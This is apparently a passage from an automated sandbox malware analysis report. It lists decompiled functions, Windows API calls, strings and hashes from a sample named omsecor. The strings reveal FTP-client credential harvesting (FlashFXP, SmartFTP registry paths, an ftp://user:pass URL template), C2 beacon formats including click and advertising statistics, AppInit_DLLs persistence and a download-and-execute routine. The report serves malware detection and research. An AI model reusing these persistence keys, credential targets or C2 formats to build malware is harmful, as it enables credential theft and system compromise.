Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftplist.txt, xrefs: 00404805
ftp://%S:%S@%S:%u, xrefs: 004049F6

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$AllocCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 1635188419-1322549247
Opcode ID: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

http, xrefs: 00408B59
+@, xrefs: 004089FD

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

#, xrefs: 004037DC
datafolder, xrefs: 0040376D
SOFTWARE\FlashFXP\3, xrefs: 0040375E
*flashfxp*, xrefs: 004037CE
&, xrefs: 004037EA

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

http://, xrefs: 00409941
</domain>, xrefs: 004099B8
</url>, xrefs: 00409917
<domain>, xrefs: 004099BD
<url>, xrefs: 0040991C

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

d, xrefs: 0040ADB6
0, xrefs: 0040AD12
^rcn=1, xrefs: 0040AD37
hOA, xrefs: 0040ACC0
job^rev=%s^os=%s, xrefs: 0040ACDB

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040253C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113sleepprocessfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402566
DeleteFileW.KERNEL32(00000000,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402587
Sleep.KERNEL32(0000EA60,00000000,00000001,00000000,00000000), ref: 004025B3

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

_memset.LIBCMT ref: 004025DA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00420840,?,?,?,?,?,00000000,00000001,00000000), ref: 0040264D

Strings

none, xrefs: 00402614

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectCreateDeleteFileInternetProcess_memset
String ID: none
API String ID: 2353737338-2140143823
Opcode ID: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction ID: 23ab6f573089ca27c74aa918c09813edc931bf25471b74fd790eff350109b64e
Opcode Fuzzy Hash: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction Fuzzy Hash: 8D319231A00219ABCB21EF61DE49AEF7769FF04748F00043BF905B21C1D6789A51CBAE

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407E86
hOAd, xrefs: 00407E91
UniqueNum, xrefs: 00407E38
d, xrefs: 00407E7E

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
AppInit_DLLs, xrefs: 00408639, 00408671
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</url>, xrefs: 00409ACC
</title>, xrefs: 00409AA7
<title>, xrefs: 00409AAC
<url>, xrefs: 00409AD1

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

0, xrefs: 0040AA5B
jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 27a49e9b0a243f6ea4d036eb24575c3a25ef3ed8582b626cf885f00009b11edd
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

personal favorites, xrefs: 00405176
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
